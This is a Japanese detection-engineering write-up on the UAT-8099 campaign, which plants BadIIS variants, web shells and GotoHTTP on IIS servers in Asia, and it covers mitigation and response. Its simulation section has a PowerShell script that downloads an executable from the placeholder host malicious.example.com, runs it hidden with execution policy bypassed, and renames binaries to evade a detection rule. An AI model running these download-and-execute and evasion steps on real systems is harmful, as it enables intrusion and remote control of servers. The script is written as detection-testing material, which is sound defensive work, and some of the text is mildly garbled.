UAT-8099の解剖: 新しい永続化メカニズムと地域特化型攻撃
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Cisco Talosは、アジア全域の脆弱なIISウェブサーバーを標的とした新しいUAT-8099キャンペーンを報告しています。このアクターは地域識別子を含むカスタマイズされたBadIISバリアントを展開し、ウェブシェル、PowerShell、GotoHTTPリモートコントロールツールに依存して後続の制御を行います。永続性は、隠しローカルアカウントの作成と管理者活動に溶け込むための正当なレッドチームユーティリティの使用を含むように拡大しました。このトレードクラフトは、以前のWEBJACK操作と重なり、タイとベトナムのサイトに影響を及ぼすSEO詐欺に焦点を当てているようです。
調査
Talosは、DNSテレメトリ、ファイルハッシュ、悪意のあるスクリプトを確認して、侵入の連鎖を再構築しました。アナリストは、SoftEther VPNやEasyTierのようなツールと組み合わせたウェブシェル、Sharp4RemoveLog、CnCrypt Protect、OpenArk64、GotoHTTPを含む一連のカスタムユーティリティを観察しました。IISHijackとasdSearchEngineという地域調整された2つのBadIIS亜種がリバースエンジニアリングされ、ハードコーディングされた国コード、選択的リクエストフィルタリング、XOR暗号化されたC2設定が明らかにされました。VirusTotal上で一致するC2ドメインを持つBadIISのELFビルドも特定されました。
緩和策
公開されたIISの脆弱性を修正し、ウェブアプリケーションファイアウォールの強制を強化し、隠されたローカルアカウント(例: admin$、mysql$など)の作成を監視します。GotoHTTPをダウンロードまたは起動するPowerShellの活動を検出し、既知のC2ドメインへの外部通信をブロックします。特定されたカスタムユーティリティの実行とウェブサーバーディレクトリ内の予期しない変更について、エンドポイント制御を使用して警告します。
対応
インジケーターが発見された場合、サーバーを隔離し、ウェブシェルを削除し、隠しアカウントを削除します。フォレンジック分析のためにBadIISバイナリと関連スクリプトを保存し、C2活動を特定するために完全なネットワークトラフィックのレビューを行います。信頼できる既知のバックアップから復元し、IIS設定を再強化して再感染を防止します。
攻撃フロー
シミュレーション実行
前提条件:テレメトリーとベースラインプレフライトチェックを通貨していること。
-
攻撃の流れとコマンド:
攻撃者が侵 compromisedされたウェブサーバーに初期の足掛かりを得た。この攻撃者は、IISウェブルートの下にbad_iisという名前の隠しディレクトリを作成し、特注の名前を持つウェブシェルバイナリを配置します。shell_xyz.exe(文字列「ウェブシェル」を避けます)。このシェルを使用して、後でGotoHTTPバイナリをダウンロードするPowerShellペイロードを横方向に実行し、それをsvc_update.exeにリネームして実行します。イメージ名が難読化されているため、元のルールのImage|containsチェックが回避されますが、コマンドラインには「PowerShell」が含まれています。 -
回帰テストスクリプト: このスクリプトは、記述されたステップを再現し、BadIIS攻撃に似たテレメトリーを生成しますが なく ルールが監視している具体的な文字列を使用しています。
# BadIISシミュレーション — 難読化バージョン $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null # リネームされたウェブシェル(既知の良性exeのバイナリコピー)のデプロイ $shellSrc = "$env:SystemRootSystem32notepad.exe" $shellDst = Join-Path $payloadDir "shell_xyz.exe" Copy-Item -Path $shellSrc -Destination $shellDst -Force # ウェブシェルがPowerShellを呼び出してGotoHTTPをダウンロードすることをシミュレート $gotoUrl = "http://malicious.example.com/GotoHTTP.exe" $gotoDst = "C:WindowsTempsvc_update.exe" $psCommand = @" Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst'; Start-Process -FilePath '$gotoDst' -WindowStyle Hidden; "@ # リネームされたウェブシェル経由でPowerShellペイロードを実行(プロセス作成) Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden Write-Output "BadIISシミュレーションが実行されました。" -
クリーンアップコマンド: 配置されたアーティファクトを削除し、環境を復元します。
# BadIISシミュレーションアーティファクトのクリーンアップ $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue $gotoDst = "C:WindowsTempsvc_update.exe" Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue Write-Output "クリーンアップ完了。"